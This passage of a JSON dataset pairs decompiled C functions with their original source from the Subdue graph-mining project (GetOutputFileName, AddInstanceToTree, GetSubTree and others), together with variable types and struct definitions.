*subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct SubList { struct _sub_list_node *head; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct InstanceList { struct _instance_list_node *head; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "IncrementNumExamples", "canonical_name": "func1", "repo": "gromgull/subdue", "decompiled_code": "unsigned __int64 __fastcall IncrementNumExamples(__int64 a1, __int64 a2, __int64 a3)\n{\ndouble v3; // xmm0_8\nunsigned __int64 result; // rax\ndouble v5; // xmm0_8\n__int64 v7; // [rsp+28h] [rbp-8h]\n\nv7 = GetIncrement(a2, a1);\nif ( a3 == 1 )\n{\nv3 = *(double *)(v7 + 80);\nif ( v3 >= 9.223372036854776e18 )\nresult = (unsigned int)(int)(v3 - 9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nresult = (unsigned int)(int)v3;\n}\nelse\n{\nv5 = *(double *)(v7 + 88);\nif ( v5 >= 9.223372036854776e18 )\nresult = (unsigned int)(int)(v5 - 9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nresult = (unsigned int)(int)v5;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func1(__int64 a1, __int64 a2, __int64 a3)\n{\ndouble v3; // xmm0_8\nunsigned __int64 result; // rax\ndouble v5; // xmm0_8\n__int64 v7; // [rsp+28h] [rbp-8h]\n\nv7 = func6(a2, a1);\nif ( a3 == 1 )\n{\nv3 = *(double *)(v7 + 80);\nif ( v3 >= 9.223372036854776e18 )\nresult = (unsigned int)(int)(v3 - 9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nresult = (unsigned int)(int)v3;\n}\nelse\n{\nv5 = *(double *)(v7 + 88);\nif ( v5 >= 9.223372036854776e18 )\nresult = (unsigned int)(int)(v5 - 9.223372036854776e18) ^ 0x8000000000000000LL;\nelse\nresult = (unsigned int)(int)v5;\n}\nreturn result;\n}", "original_code": "ULONG IncrementNumExamples(Parameters *parameters, ULONG incrementNum,\n ULONG graphType)\n{\n Increment *increment = GetIncrement(incrementNum, parameters);\n if (graphType == 1)\n return((ULONG) increment->numPosEgs);\n else\n return((ULONG) increment->numNegEgs);\n}", "canonical_original_code": "unsigned long IncrementNumExamples(struct Parameters *parameters, unsigned long incrementNum, unsigned long graphType)\n{\n struct _increment *increment = GetIncrement(incrementNum, parameters);\n if (graphType == 1)\n return((unsigned long) increment->numPosEgs);\n else\n return((unsigned long) increment->numNegEgs);\n}", "variable_types": [ [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "incrementNum", "unsigned long" ], [ "graphType", "unsigned long" ], [ "increment", "struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct SubList { struct _sub_list_node *head; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct InstanceList { struct _instance_list_node *head; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "GetOutputFileName", "canonical_name": "func2", "repo": "gromgull/subdue", "decompiled_code": "char *__fastcall GetOutputFileName(const char *a1, unsigned int a2)\n{\nsize_t v2; // rax\nchar s[24]; // [rsp+10h] [rbp-20h] BYREF\nchar *dest; // [rsp+28h] [rbp-8h]\n\ndest = (char *)malloc(0x32uLL);\nsprintf(s, \"_%d\", a2);\nstrcpy(dest, a1);\nstrcat(dest, s);\nv2 = strlen(dest);\nstrcpy(&dest[v2], \".txt\");\nreturn dest;\n}\n", "canonical_decompiled_code": "char *__fastcall func2(const char *a1, unsigned int a2)\n{\nsize_t v2; // rax\nchar s[24]; // [rsp+10h] [rbp-20h] BYREF\nchar *dest; // [rsp+28h] [rbp-8h]\n\ndest = (char *)malloc(0x32uLL);\nsprintf(s, \"_%d\", a2);\nstrcpy(dest, a1);\nstrcat(dest, s);\nv2 = strlen(dest);\nstrcpy(&dest[v2], \".txt\");\nreturn dest;\n}", "original_code": "char *GetOutputFileName(char *suffix, ULONG index)\n{\n char *fileName;\n char str[20];\n fileName = malloc(sizeof(char) * 50);\n sprintf(str, \"_%d\", (int) index);\n strcpy(fileName, suffix);\n strcat(fileName, str);\n strcat(fileName, \".txt\");\n return fileName;\n}", "canonical_original_code": "char *GetOutputFileName(char *suffix, unsigned long index)\n{\n char *fileName;\n char str[20];\n fileName = malloc(sizeof(char) * 50);\n sprintf(str, \"_%d\", (int) index);\n strcpy(fileName, suffix);\n strcat(fileName, str);\n strcat(fileName, \".txt\");\n return fileName;\n}", "variable_types": [ [ "suffix", "char *" ], [ "index", "unsigned long" ], [ "fileName", "char *" ], [ "str", "char [20]" ] ], "return_type": "char *", "user_defined_types": [], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "AddInstanceToTree", "canonical_name": "func3", "repo": "gromgull/subdue", "decompiled_code": "unsigned __int64 __fastcall AddInstanceToTree(__int64 a1, unsigned __int64 *a2)\n{\nunsigned __int64 result; // rax\n_QWORD *v3; // [rsp+18h] [rbp-18h]\nunsigned __int64 v4; // [rsp+20h] [rbp-10h]\nunsigned __int64 i; // [rsp+28h] [rbp-8h]\n\nv4 = a2[2];\nfor ( i = 0LL; ; ++i )\n{\nresult = *a2;\nif ( i >= *a2 )\nbreak;\nv3 = malloc(8uLL);\n*v3 = *(_QWORD *)(8 * i + v4);\navl_insert(a1, v3);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func3(__int64 a1, unsigned __int64 *a2)\n{\nunsigned __int64 result; // rax\n_QWORD *v3; // [rsp+18h] [rbp-18h]\nunsigned __int64 v4; // [rsp+20h] [rbp-10h]\nunsigned __int64 i; // [rsp+28h] [rbp-8h]\n\nv4 = a2[2];\nfor ( i = 0LL; ; ++i )\n{\nresult = *a2;\nif ( i >= *a2 )\nbreak;\nv3 = malloc(8uLL);\n*v3 = *(_QWORD *)(8 * i + v4);\navl_insert(a1, v3);\n}\nreturn result;\n}", "original_code": "void AddInstanceToTree(struct avl_table *avlTable, Instance *instance)\n{\n ULONG *vertices;\n ULONG *j;\n ULONG i;\n vertices = instance->vertices;\n for (i=0;i<instance->numVertices;i++)\n {\n j = (ULONG*) malloc(sizeof(ULONG));\n *j = vertices[i];\n avl_insert(avlTable, j);\n }\n}", "canonical_original_code": "void AddInstanceToTree(struct avl_table *avlTable, struct _instance *instance)\n{\n unsigned long *vertices;\n unsigned long *j;\n unsigned long i;\n vertices = instance->vertices;\n for (i=0;i<instance->numVertices;i++)\n {\n j = (unsigned long *) malloc(sizeof(ULONG));\n *j = vertices[i];\n avl_insert(avlTable, j);\n }\n}", "variable_types": [ [ "avlTable", "struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *" ], [ "instance", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *" ], [ "vertices", "unsigned long *" ], [ "j", "unsigned long *" ], [ "i", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "GetSubTree", "canonical_name": "func4", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall GetSubTree(_QWORD *a1, __int64 a2)\n{\n__int64 result; // rax\nchar v3; // [rsp+27h] [rbp-9h]\n__int64 *v4; // [rsp+28h] [rbp-8h]\n\nv3 = 0;\nv4 = ***(__int64 ****)(a2 + 1760);\nwhile ( v4 && !v3 )\n{\nif ( (unsigned __int8)GraphMatch(*a1, *(_QWORD *)v4[1], *(_QWORD *)(a2 + 1600), 0LL, 0LL, 0.0) )\nv3 = 1;\nelse\nv4 = (__int64 *)v4[2];\n}\nif ( v3 )\nresult = *v4;\nelse\nresult = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(_QWORD *a1, __int64 a2)\n{\n__int64 result; // rax\nchar v3; // [rsp+27h] [rbp-9h]\n__int64 *v4; // [rsp+28h] [rbp-8h]\n\nv3 = 0;\nv4 = ***(__int64 ****)(a2 + 1760);\nwhile ( v4 && !v3 )\n{\nif ( (unsigned __int8)GraphMatch(*a1, *(_QWORD *)v4[1], *(_QWORD *)(a2 + 1600), 0LL, 0LL, 0.0) )\nv3 = 1;\nelse\nv4 = (__int64 *)v4[2];\n}\nif ( v3 )\nresult = *v4;\nelse\nresult = 0LL;\nreturn result;\n}", "original_code": "struct avl_table *GetSubTree(Substructure *sub, Parameters *parameters)\n{\n AvlTreeList *avlTreeList;\n AvlTableNode *avlTableNode;\n BOOLEAN found = 0;\n avlTreeList = parameters->vertexList->avlTreeList;\n avlTableNode = avlTreeList->head;\n while ((avlTableNode != ((void *)0)) && !found)\n {\n if (GraphMatch(sub->definition, avlTableNode->sub->definition,\n parameters->labelList, 0.0, ((void *)0), ((void *)0)))\n found = 1;\n else\n avlTableNode = avlTableNode->next;\n }\n if (found)\n return avlTableNode->vertexTree;\n else\n return ((void *)0);\n}", "canonical_original_code": "struct avl_table *GetSubTree(struct Substructure *sub, struct Parameters *parameters)\n{\n struct AvlTreeList *avlTreeList;\n struct _avltablenode *avlTableNode;\n unsigned char found = 0;\n avlTreeList = parameters->vertexList->avlTreeList;\n avlTableNode = avlTreeList->head;\n while ((avlTableNode != ((void *)0)) && !found)\n {\n if (GraphMatch(sub->definition, avlTableNode->sub->definition,\n parameters->labelList, 0.0, ((void *)0), ((void *)0)))\n found = 1;\n else\n avlTableNode = avlTableNode->next;\n }\n if (found)\n return avlTableNode->vertexTree;\n else\n return ((void *)0);\n}", "variable_types": [ [ "sub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "avlTreeList", "struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _avltablenode *next; } *head; } *" ], [ "avlTableNode", "struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _avltablenode *next; } *" ], [ "found", "unsigned char" ] ], "return_type": "struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *", "user_defined_types": [ "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct avl_node { struct avl_node *avl_link[2]; void 